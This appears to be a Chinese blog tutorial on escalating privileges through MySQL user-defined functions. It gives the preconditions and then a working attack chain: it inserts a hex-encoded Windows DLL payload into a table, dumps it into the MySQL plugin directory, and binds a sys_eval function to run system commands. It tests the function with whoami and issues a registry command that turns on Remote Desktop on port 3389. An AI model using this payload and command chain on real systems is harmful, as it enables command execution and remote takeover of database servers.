mysql UDF提权（实战案例）

作者：程序那点事儿 日期：2024/09/29 16:10

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1. 什么是UDF?

• 全称 User Define Function （用户自定义函数）
• UDF提权，就是通过自定义函数，实现执行系统的命令。

dll（windows，dll文件是c语言写的，可以看作是一个存入很多功能的库）或者os（linux）文件是动态链接文件。

1. 如何通过UDF提权呢？

• 提权的条件

查询版本 select version();

• mysql < 5.0 路径随意
• 5.0 <= mysql < 5.1 放置系统目录(system32)
• mysql> 5.1 udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下, (lib\plugin目录默认不存在，需自行添加）

查询系统位数 show VARIABLES LIKE '%compile%';

查询读写权限 show VARIABLES LIKE '%secure%';

• secure file priv 的值为 NULL ，表示限制 mysqld 不允许导入导出，此时无法提权（要想获得权限，找到my.ini文件添加如图配置然后重启数据库）；

• secure file priv的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下，此时也无法提权；
• secure file priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权。

查询plugin目录的位置 show VARIABLES LIKE '%plugin%';

1. 提权步骤

• (mysql库下)创建一个（临时）表

  CREATE TABLE temp_udf(udf blob);
  # ROP TABLE temp_udf;
  

• 将准备好的dll文件写到这个表中

  INSERT INTO temp_udf VALUES(CONVERT(0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273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 
  # 查看一下数据
  SELECT * FROM temp_udf;
  

• 将表中的数据导出到相应的目录（注意：没有plugin目录会报错，要自己创建该目录）

  # 导出all文件到指定的目录
  SELECT udf FROM temp_udf INTO DUMPFILE "D:/soft/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll";
  

• 创建函数指向（刚才导出的）dll文件

  # 创建一个函数，让它绑定udf.dll文件
  CREATE FUNCTION sys_eval RETURNS string SONAME 'udf.dll';
  

1. 测试函数 SELECT sys_eval('whoami');

2. 开放权限（远程开启桌面端口）

   # 开启3389（桌面）端口
   
   select sys_eval("REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f ");
   

3. 当再次扫描端口（发现3389端口已经开放）